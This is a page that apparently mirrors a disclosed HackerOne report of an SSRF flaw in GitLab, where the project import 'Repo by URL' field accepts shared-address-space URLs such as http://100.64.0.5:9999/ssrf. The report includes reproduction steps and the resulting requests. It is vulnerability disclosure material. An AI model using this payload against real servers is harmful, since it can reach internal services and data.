SSRF possible due to shared address space not being blocked.
GitLab
Originally disclosed on GitLab
- Fixed in 2.7 years
- Disclosed after 2.7 years
HackerOne report #579934 by no1zy on 2019-05-14, assigned to estrike:
Summary
Because /lib/gitlab/url_blocker.rb does not block shared address space, SSRF is possible.
Steps to reproduce
- Go to http://{host}/projects/new".
- Click to "Repo by URL".
- Enter the following in Git repository URL field.
http://100.64.0.5:9999/ssrf - Enter other required fields.
- Click to "Create project".
GET /ssrf/info/refs?service=git-upload-pack HTTP/1.1
Host: 100.64.0.5:9999
User-Agent: git/2.18.1
Accept: */*
Accept-Encoding: deflate, gzip
Pragma: no-cache
- If you want to send parameters, specify the URL as follows:
http://100.64.0.5:9999/ssrf?param=true#
GET /ssrf?param=true HTTP/1.1
Host: 100.64.0.5:9999
User-Agent: git/2.18.1
Accept: */*
Accept-Encoding: deflate, gzip
Pragma: no-cache
Impact
The shared address space is used as a private network address by the ISP.
Reference: https://en.wikipedia.org/wiki/IPv4_shared_address_space
This issue affects all actions using /lib/gitlab/url_blocker.rb.
Proposal
To fix this issue, also block the 100.64.0.0/10 netmask.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A low-severity SSRF bug in gitlab.com. GitLab made it public on 3 February 2022. Fixed in version 14.8.
About SSRF
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.